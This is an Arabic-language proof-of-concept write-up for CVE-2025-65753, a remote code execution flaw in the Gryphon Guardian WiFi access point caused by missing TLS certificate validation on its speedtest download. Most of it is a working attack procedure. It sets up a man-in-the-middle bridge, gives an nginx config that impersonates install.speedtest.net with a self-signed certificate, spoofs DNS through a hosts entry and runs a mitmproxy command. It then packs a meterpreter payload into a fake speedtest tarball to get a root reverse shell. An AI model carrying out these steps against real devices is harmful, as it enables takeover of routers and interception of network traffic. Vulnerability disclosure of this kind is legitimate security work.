
استغلال إثبات المفهوم لـ CVE-2025-65753: تنفيذ التعليمات البرمجية عن بُعد على نقطة وصول Gryphon Guardian عبر التحقق غير السليم من شهادة TLS، مما يتيح هجمات الوسيط وتزوير DNS.
إثبات المفهوم لـ CVE-2025-65753: تنفيذ تعليمات برمجية عن بُعد على نقطة الوصول Gryphon Guardian، إصدار البرنامج الثابت 01.06.0006.22، من خلال التحقق غير السليم من شهادة TLS.
نقطة الوصول Gryphon Guardian WiFi، بإصدار البرنامج الثابت 01.06.0006.22، لا تتحقق بشكل صحيح من شهادة TLS الخاصة بعميل اختبار سرعة الإنترنت الذي يتم تنزيله بعد أن يطلب منها التطبيق ذلك. تسمح هذه الثغرة للمهاجم باعتراض الاتصال والتلاعب به، وحقن العميل بكود خبيث يتم تنفيذه لاحقًا بصلاحيات الجذر (root) بواسطة نقطة الوصول.
توجد طريقتان لاستغلال هذه الثغرة:
لأغراض إثبات المفهوم هذا، يتم توجيه حركة المرور الصادرة من نقطة الوصول عبر جهاز المهاجم (هجوم MitM بشكل أساسي)، عن طريق جسر واجهتي شبكة، كما هو موضح في هذا المخطط.

للقيام بذلك، مع إعادة توجيه حركة مرور TCP أيضًا إلى المنفذ المحلي 9900 للتحليل، استخدمت أداتي الخاصة: https://github.com/diegovargasj/bridge-interfaces

بعد ذلك، استخدمت أداة certmitm الخاصة بـ aapooksman (https://github.com/aapooksman/certmitm) لتحليل اتصالات TLS ونشر هجمات متعددة تلقائيًا لاختبار التحقق من الشهادة. يكشف هذا عن عدة ثغرات في خوادم متعددة. ما لفت انتباهي هو تنزيل عميل speedtest من والذي يمكن اعتراضه بشهادة موقعة ذاتيًا بسيطة.

يحتوي الملف المضغوط (tarball) على ملف ELF مُجمّع لمعمارية ARM 32 بت، والذي يتم تنزيله وفك ضغطه وتنفيذه بواسطة الجهاز بشكل واضح.

لا يتحقق الجهاز من صحة شهادة TLS للتأكد من موثوقيتها، إذ يقبل ببساطة شهادة موقعة ذاتيًا. وبالتالي، من خلال نشر خادم HTTPS وانتحال استجابات DNS لـ install.speedtest.net، يمكنك تقديم أي ملف تنفيذي تختاره. للقيام بذلك، استخدم ببساطة إعداد nginx التالي:
server {
listen 443 ssl default_server;
server_name install.speedtest.net;
ssl_certificate /path/to/self_signed_cert.pem;
ssl_certificate_key /path/to/self_signed_key.pem;
root /path/to/webroot;
}
بعد ذلك، أضف السطر التالي إلى ملف /etc/hosts الخاص بك، لانتحال استجابات DNS عبر dnsmasq.
192.168.0.15 install.speedtest.net
أخيرًا، أعد تشغيل سكربت bridge-interfaces.sh، وأوقف certmitm.py، وشغّل mitmproxy:
mitmproxy --listen-host 192.168.0.15 --listen-port 9900 --mode transparent -k
الآن نحتاج فقط إلى الحمولة. نظرًا لأن نقطة الوصول تحتوي على Python مثبتًا، فإن سكربت meterpreter بسيط سيكون كافيًا. أنشئ السكربت باستخدام msfvenom:

استبدل ملف ELF الأصلي لعميل speedtest بسكربت bash لاستدعاء الحمولة:
python payload.py
وضعه في ملف مضغوط (tarball)، مع المسار الصحيح بحيث يطابق طلب الويب إلى https://install.speedtest.net/app/cli/ookla-speedtest-1.2.0-linux-armhf.tgz:
tar -czvf ookla-speedtest-1.2.0-linux-armhf.tgz speedtest payload.py
الآن نُعدّ مستمع meterpreter. بعد استدعاء speedtest من تطبيق Gryphon، نحصل على قشرة عكسية بصلاحيات الجذر (root).

ويمكننا تنفيذ أوامر عشوائية داخل نقطة الوصول.
